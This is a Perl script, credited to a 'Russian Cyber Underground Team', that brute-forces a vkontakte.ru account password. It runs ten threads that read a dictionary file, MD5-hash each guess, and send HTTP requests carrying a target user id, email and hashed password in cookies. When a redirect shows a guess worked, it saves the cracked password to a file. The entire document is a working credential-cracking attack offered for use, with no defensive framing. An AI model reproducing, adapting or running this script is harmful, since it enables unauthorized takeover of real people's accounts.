#!/usr/bin/perl

use IO::Socket;
use MD5;
use threads;
use threads::shared;
my @pass : shared;

print qq(
################################################
#        Brutfc Force for vkontakte.ru         # 
#      Russian Cyber Underground Team          #
#                --=[WN13]=--                  #
################################################ \n\n
);

$dic = 'pass.txt';
$id= "3029068";
$mail= "mail%40mail.ru";
$thr= "10";

open (pass, "<$dic");
Next:@pass = pass();
for(0..$thr) 
{
$trl[$_] = threads->create(\&Brutfc, $_);
}
for(@trl) 
{
 $_->join; 
 }
sub Brutfc
{
while (@pass)
{
$pass = shift @pass;
$md5 = MD5->hexhash($pass);
$sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPort=>80);
print $sock "HEAD http://vkontakte.ru/ HTTP/1.0\r\n".
            "Host: vkontakte.ru\r\n".
            "Accept: */*\r\n".
            "Content-Type: application/x-www-form-urlencoded\r\n".
            "User-Agent: Mozilla\r\n".
            "Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n".
            "Connection: close\r\n\r\n";
$rews = <$sock>;
close $sock;
print "$pass  $rews";
if ($rews =~ /302/)
{
open (good, '>>good.txt');
print good "\n################################################\n";
print good "\nyou password $pass from id$id \n";
print good "md5-hash: $md5\n";
print good "\n################################################\n";
print "\n################################################\n";
print "\nyou password $pass from id$id \n";
print "md5-hash: $md5\n";
print "\n################################################\n\n";
close good;
exit;
}
}
}
goto Next;
sub pass
{
	my (@mas);
	while (<pass>)
	{
	push @mas, $_;
	last if (@mas == 400);
	}
	chomp @mas;
	return @mas;
}